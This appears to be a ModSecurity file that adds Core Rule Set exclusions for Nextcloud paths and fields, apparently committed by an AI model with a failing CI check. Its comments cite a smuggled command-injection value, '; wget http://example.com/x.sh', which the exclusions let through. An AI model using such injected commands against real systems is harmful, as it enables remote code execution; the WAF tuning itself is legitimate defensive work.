check / check (push) Failing after 4m4s
rproxy passes MKCALENDAR on. nextcloud.conf allows it on /remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and 932260. That of an MKCALENDAR, and of an MKCOL on the address books' paths, also skips 932125 and 932230, for the description. A PUT of text/calendar or text/vcard there skips 920530: the Calendar and Contacts apps name the charset twice when they change an event or a contact. Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and requests imitating DAVx5. Model: opus-5-5
309 lines
17 KiB
Plaintext
309 lines
17 KiB
Plaintext
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
|
# a document's text. Each exclusion runs with the request, before the rules it
|
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
|
# applies only when the query has no parameter of that name, so it matters only
|
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
|
#
|
|
# Four rules read a search or a name as a command or a system file:
|
|
# 930120: .htaccess
|
|
# 932120: powershell
|
|
# 932250: ls -la
|
|
# 932260: python3
|
|
# Each exclusion below removes these four from its fields.
|
|
#
|
|
# A comment, a share's note and an account's status hold sentences a person
|
|
# writes. Four more rules refused ordinary sentences there:
|
|
# 932125: It is fixed; diff attached
|
|
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
|
# 932235: We need more time; find the old notes first
|
|
# 932380: Tested on Windows; powershell works
|
|
# The text of a document holds such sentences too, and code blocks. Two more
|
|
# rules refused a shell script in a code block:
|
|
# 932160: #!/bin/bash
|
|
# 932370: ```bash, which starts the code block
|
|
# These fields skip the rules that refused them. So a shell command such as
|
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
|
# injection, path traversal and script injection are still refused there.
|
|
|
|
# The sync client and the Files app use these WebDAV methods besides those
|
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
|
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
|
# MKCOL: making a folder, and starting a chunked upload
|
|
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
|
# REPORT: listing favourites and comments
|
|
# SEARCH: the Files app's search
|
|
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900100,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
|
|
|
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
|
# which every request sends, on every path. Each request of the account
|
|
# python3 was refused.
|
|
SecAction "id:900101,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
|
|
|
# Signing in, in the query or the body:
|
|
# user, password: user=python3&password=Example-pass-python3
|
|
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
"id:900102,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
|
|
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
|
"id:900103,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
|
|
|
# The file names on a public share's page. A preview names its file in file:
|
|
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
|
"id:900104,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
|
|
|
# A download names its folder in path and its files in files:
|
|
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
|
"id:900105,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
|
|
|
# The OCS API's searches and names, in the query, a form data body or a JSON
|
|
# body:
|
|
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
|
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
|
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
|
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
|
# account python3, displayName=Ls+-la+Example
|
|
# groups[], or groups in JSON: the groups of a new account,
|
|
# groups[]=Python3+admins
|
|
# value: changing an account's name, address or headline, value=Powershell+Lane
|
|
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
|
# label "python3 link"
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900106,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900107,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
|
|
|
# A share's note, in the query, a form data body or a JSON body, on a new
|
|
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900108,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900109,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.note "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
|
|
|
# An account's status, in the query, a form data body or a JSON body:
|
|
# {"message":"Tested on Windows; powershell works"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900110,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900111,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
# The name and slogan in the theming admin settings, in the JSON field value:
|
|
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
|
"id:900112,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.value "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
|
|
|
# The Text editor saves a document, such as a folder's Readme.md, with its
|
|
# path in the JSON field filePath and its text in autosaveContent. The text
|
|
# skips the rules for sentences and code blocks too.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
|
"id:900113,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
|
|
|
# A comment on a file, in the JSON field message of a new comment, and in the
|
|
# XML body of an edited one. It skips the rules for sentences too. An edited
|
|
# comment's XML holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
|
"id:900114,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
|
"id:900115,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932380;XML:/*"
|
|
|
|
# The Files app's search sends its words in the XML body of a SEARCH request,
|
|
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
|
"id:900116,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq SEARCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|
"id:900117,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
|
|
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
|
# paths is a file, not form data. Read as fields, a JSON file holding
|
|
# "python3 -m pytest" was refused (932260), and an XML file holding
|
|
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
|
# RAW, a kind of body sww does not read. Its headers, path and query are
|
|
# still checked.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900118,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
|
|
|
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
|
|
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
|
|
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
|
|
# with MKCALENDAR, which 911100 refused.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
"id:900119,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
|
|
|
|
# Such a client first asks where the calendars and address books are, with a
|
|
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
|
|
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
|
|
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
|
|
"id:900120,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
|
|
|
|
# A new calendar or address book has its name in the XML body of an MKCOL,
|
|
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
|
|
# MKCOL may also hold its description (900124).
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
"id:900121,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The XML body of an MKCALENDAR holds the new calendar's name and its
|
|
# description. The description is a sentence, and two rules for sentences
|
|
# refused it too:
|
|
# 932125, 932230: Powershell and python3 meetings; ls -la first
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
"id:900122,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# When the Calendar app changes an event, it names the charset twice in the
|
|
# Content-Type of the PUT:
|
|
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
|
|
# The Contacts app does the same with text/vcard when it changes a contact.
|
|
# 920530 refused both. The body of such a PUT is not read (900118).
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
"id:900123,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "chain"
|
|
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
|
|
"ctl:ruleRemoveById=920530"
|
|
|
|
# The XML body of a new address book's MKCOL may hold its description. Like a
|
|
# calendar's (900122), it is a sentence, and the same two rules refused it:
|
|
# 932125, 932230: Powershell and python3 contacts; ls -la first
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|
"id:900124,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|